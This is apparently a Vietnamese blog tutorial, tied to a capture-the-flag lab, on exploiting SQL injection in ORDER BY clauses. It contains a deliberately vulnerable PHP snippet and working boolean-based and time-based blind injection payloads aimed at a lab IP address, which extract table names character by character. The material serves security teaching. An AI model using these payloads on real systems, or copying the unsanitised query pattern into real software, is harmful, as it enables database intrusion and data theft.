Loading
May 8, 2024By Harry Ha

Exploit SQL Injection in Order By Clause

ORDER BY và GROUP BY là hai lệnh phổ biến trong SQL được sử dụng để sắp xếp và nhóm dữ liệu trong các truy vấn. Việc khai thác lỗ hổng SQL Injection xảy ra trong tham số truyền vào lệnh ORDER BY sẽ phức tạp hơn một chút. Ta không thể sử dụng phương pháp Union-based để thực hiện khai thác dữ liệu được

ORDER BY

Lệnh ORDER BY được sử dụng để sắp xếp các kết quả của một truy vấn theo một hoặc nhiều cột theo thứ tự tăng dần (ASC) hoặc giảm dần (DESC). Ví dụ, bạn có thể viết câu truy vấn lấy toàn bộ mặt hàng ra khỏi bảng product và sắp xếp lại dữ liệu theo giá (price) tăng dần.

MariaDB [chh]> SELECT * FROM products ORDER BY price ASC;
+----+---------------------------------------+-------+----------+
| id | name                                  | price | quantity |
+----+---------------------------------------+-------+----------+
|  3 | Cookie Arena                          |  5.99 |      200 |
|  5 | Satellite Hacking                     |  8.29 |      150 |
|  9 | Flag in this database                 |  9.99 |       90 |
|  1 | Cookie Han Hoan                       | 10.99 |      100 |
|  6 | Android Hacking                       | 12.99 |       80 |
|  4 | Web Penetration Testsing For Beginner | 15.79 |       75 |
|  8 | Hello                                 | 18.49 |      120 |
|  2 | Ga Con                                | 20.49 |       50 |
|  7 | Software Define Radio                 | 25.99 |       25 |
| 10 | How to get the flag?                  | 30.99 |       40 |
+----+---------------------------------------+-------+----------+
10 rows in set (0.001 sec)

Nếu bạn muốn sắp xếp nhiều cột vừa theo giá và vừa theo số lượng thì có thể viết

MariaDB [chh]> SELECT * FROM products ORDER BY price ASC, quantity DESC;
+----+---------------------------------------+-------+----------+
| id | name                                  | price | quantity |
+----+---------------------------------------+-------+----------+
|  3 | Cookie Arena                          |  5.99 |      200 |
|  5 | Satellite Hacking                     |  8.29 |      150 |
|  9 | Flag in this database                 |  9.99 |       90 |
|  1 | Cookie Han Hoan                       | 10.99 |      100 |
|  6 | Android Hacking                       | 12.99 |       80 |
|  4 | Web Penetration Testsing For Beginner | 15.79 |       75 |
|  8 | Hello                                 | 18.49 |      120 |
|  2 | Ga Con                                | 20.49 |       50 |
|  7 | Software Define Radio                 | 25.99 |       25 |
| 10 | How to get the flag?                  | 30.99 |       40 |
+----+---------------------------------------+-------+----------+
10 rows in set (0.001 sec)

Theo định nghĩa cú pháp của lệnh ORDER BY, theo sau nó không thể có thêm bất kỳ mệnh đề nối bảng (join). Nên các phép nối bảng như UNION, LEFT JOIN, RIGHT JOIN sẽ không thực hiện được.

MariaDB [chh]> SELECT * FROM products ORDER BY price UNION SELECT * FROM flag;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'UNION SELECT * FROM flag' at line 1
MariaDB [chh]> 

GROUP BY

Cũng để sắp xếp, nhưng lệnh GROUP BY được sử dụng để gom các dữ liệu có cùng giá trị trong một hoặc nhiều cột và áp dụng các hàm tổng hợp như SUM, COUNT, AVG.

MariaDB [chh]> SELECT * FROM products GROUP BY category;
+----+---------------------------------------+-------+----------+-------------+
| id | name                                  | price | quantity | category    |
+----+---------------------------------------+-------+----------+-------------+
|  4 | Web Penetration Testsing For Beginner | 15.79 |       75 | Books       |
|  2 | Ga Con                                | 20.49 |       50 | Electronics |
|  1 | Cookie Han Hoan                       | 10.99 |      100 | Food        |
|  5 | Satellite Hacking                     |  8.29 |      150 | Software    |
+----+---------------------------------------+-------+----------+-------------+
4 rows in set (0.001 sec)

Đằng sau câu lệnh GROUP BY, bạn vẫn có thể sử dụng các phép nối bảng như UNION, LEFT JOIN, hoặc RIGHT JOIN. Như ví dụ dưới đây, sau khi GROUP BY, mình sẽ lấy thêm cột flag trong bảng flag bằng câu lệnh UNION.

MariaDB [chh]> SELECT name FROM products GROUP BY category UNION SELECT flag FROM flag;
+---------------------------------------+
| name                                  |
+---------------------------------------+
| Web Penetration Testsing For Beginner |
| Ga Con                                |
| Cookie Han Hoan                       |
| Satellite Hacking                     |
| CHH{XXXX}                             |
+---------------------------------------+
5 rows in set (0.001 sec)

SQL Injection in Order By Clause

Giả sử bạn có một trang Web được viết bằng PHP và sử dụng cơ sở dữ liệu MariaDB. Chương trình sẽ hiển thị một bảng danh sách các sản phẩm.

Ứng dụng cho phép người dùng tự tay sắp xếp kết qủa trả về từ Select Option từ HTML Form. Giá trị sắp xếp được gán vào biến $order_by, mặc định là sắp xếp theo name. Giá trị này sau đó được đưa thẳng vào câu truy vấn SQL. Hàm detect_hacker() được sử dụng để xử lý giá trị nhập vào của ngườin dùng. Tuy nhiên, hàm này chỉ thực hiện loại bỏ khoảng trắng ở hai phía của dữ liệu thông qua hàm trim() chứ không có bất kỳ việc xử lý nào khác.

Điều này chứng tỏ, lập trình viên chưa sử dụng các biện pháp kiểm soát (validate) hay lọc dữ liệu (filter) một cách đầy đủ. Nên sẽ xảy ra lỗ hổng SQL Injecionn ở tham số $order_by.

<?php
      $order_by = "name";

      // Get order by parameter from user input
      if (isset($_GET['order_by'])) {
          $order_by = detect_hacker($_GET['order_by']);
      }

      // SQL query to fetch products from the database
      $sql = "SELECT * FROM products ORDER BY $order_by DESC";

      $result = $conn->query($sql);

      // Output data of each row in an HTML table
      if ($result->num_rows > 0) {
          echo "<table>
                  <tr>
                      <th>ID</th>
                      <th>Name</th>
                      <th>Price</th>
                      <th>Quantity</th>
                  </tr>";
          while($row = $result->fetch_assoc()) {
              echo "<tr>
                      <td>".$row["id"]."</td>
                      <td>".$row["name"]."</td>
                      <td>".$row["price"]."</td>
                      <td>".$row["quantity"]."</td>
                  </tr>";
          }
          echo "</table>";
      } else {
          echo "0 results";
      }
      $conn->close();
    ?>

Giá trị của tham số $order_by có thể được thay đổi theo id, name, price, quantity, hoặc thậm chí là các cột khác. Phép thử để phát hiện SQL Injection trong trường hợp này

  • ?order_by=price -> Trả về danh sách sản phẩm, sắp xếp theo price với giá trị giảm dần
  • ?order_by=5 -> Không trả về danh sách sản phẩm, vì trong câu SELECT không có cột nào chỉ số là 5. Vì bảng này tối đa chỉ có 4 cột khi thực hiện SELECT * FROM products
  • ?order_by=price ASC— -> Trả về danh sách sản phẩm, sắp xếp theo price với giá trị tăng dần. Dấu comment — ở phía cuối đã loại vô hiệu hoá chuỗi DESC trong cơ sở dữ liệu

Qua đây ta kết luận chức năng sắp xếp sản phẩm của trang Web bị SQL Injection. Tuy nhiên, theo Syntax của câu lệnh Order By, chúng ta không thể viết câu truy vấn UNION phía sau câu lệnh Order By. Nên việc khai thác sẽ khó hơn.

Chúng ta phải sử dụng Blind SQL Injection để khai thác lỗ hổng SQL Injection trong Order By

Khai thác bằng phương pháp Blind SQL Injection Boolean-Based

Ngoài việc sắp xếp theo các cột được trả về trong cơ sở dữ liệu, bạn vẫn có thể sắp xếp kết quả theo một Sub Query. Hay nói cách khác, chúng ta sẽ lợi dụng Sub Query thực hiện câu lệnh IF ELSE để làm đối số phát hiện kết quả TRUE/FALSE.

http://103.97.125.56:30282/?order_by=(SELECT (CASE WHEN (2002=2002) THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))

Với Payload này, nếu 2002=2002 (giá trị đúng) sẽ trả về cột price (cột tồn tại trong bảng product) để thực hiện việc so sánh. Còn nếu điều kiện sau WHEN mà sai, sẽ thực hiện câu truy vấn sau ELSE. Câu truy vấn SELECT 7066 UNION SELECT 7211 sẽ trả về 2 dòng dữ liệu 7066 và 7211. Tất nhiên 2002=2002 là điều kiện luông đúng rồi. Nên sẽ trả về danh sách sản phẩm được săp xếp theo bảng price.

Lợi dụng kỹ thuật này, để khai thác dữ liệu chúng ta sẽ viết câu truy vấn lấy ra tên bảng từ database information_schema và cắt theo từng ký tự để lấy được giá trị mình cần.

?order_by=(SELECT (CASE WHEN ((SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a') THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))

Câu truy vấn (SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)=’a’ có nghĩa là. Lấy tên bảng đầu tiên bằng việc LIMIT từ danh sách tên bảng trong information_schema.tables. Sau đó dùng hàm cắt chuỗi substring() để lấy ra chữ cái đầu tiên. Và thực hiện kiểm tra xem có bằng chữ ‘a’ hay không.

Nếu câu subquery này đúng, câu truy vấn bên ngoài sẽ trả về ‘price’, còn nếu sai sẽ chạy câu truy vấn còn lại. Với cách này, chúng ta có thể đoán từng ký tự của bảng. Và sau rất nhiều lần đoán, chúng ta có thứ mình cần

Khai thác bằng phương pháp Blind SQL Injection Time-Based

Nếu ứng dụng không thể trả về rõ ràng giá trị đúng (True) hoặc sai (False). Chúng ta cần đến thời gian (hàm sleep) để làm trọng số phát hiện dữ liệu trả về. Kỹ thuật này chỉ áp dụng với cơ sở dữ liệu MySQL hoặc MariaDB >= 5.0.12.

http://103.97.125.56:30282/?order_by=price AND (SELECT 4411 FROM (SELECT(SLEEP(5)))mQeH)

Chúng ta sẽ thực hiện lấy dữ liệu thông qua hàm SLEEP(). Ví dụ, cắt chuỗi của tên bảng đầu tiên.

MariaDB [chh]> SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;
+---------------------------+
| substring(table_name,1,1) |
+---------------------------+
| p                         |
+---------------------------+
1 row in set (0.001 sec)

Sau đó, sử dụng hàm ORD() để chuyển đổi chữ cái thành mã ASCII

MariaDB [chh]> SELECT ord(substring(table_name,1,1)) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;
+--------------------------------+
| ord(substring(table_name,1,1)) |
+--------------------------------+
|                            112 |
+--------------------------------+
1 row in set (0.001 sec)

Tiếp đó, sử dụng hàm sleep() để xác định kết quả trả về. Nếu nó sleep 112s, chúng ta sẽ kết luận đây là chữ cái đầu tiên trong tên bảng sẽ là p

MariaDB [chh]> SELECT sleep(ord(substring(table_name,1,1))) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1;
+---------------------------------------+
| sleep(ord(substring(table_name,1,1))) |
+---------------------------------------+
|                                     0 |
+---------------------------------------+
1 row in set (1 min 52.006 sec)

Harry Ha

Whitehat hacker, Founder at Cookie Hân Hoan, Co-founder at CyRadar, Senior Penetration Tester, OSCP, CPENT, LPT, Pentest+

svg

What do you think?

It is nice to know your opinion. Leave a comment.

Leave a reply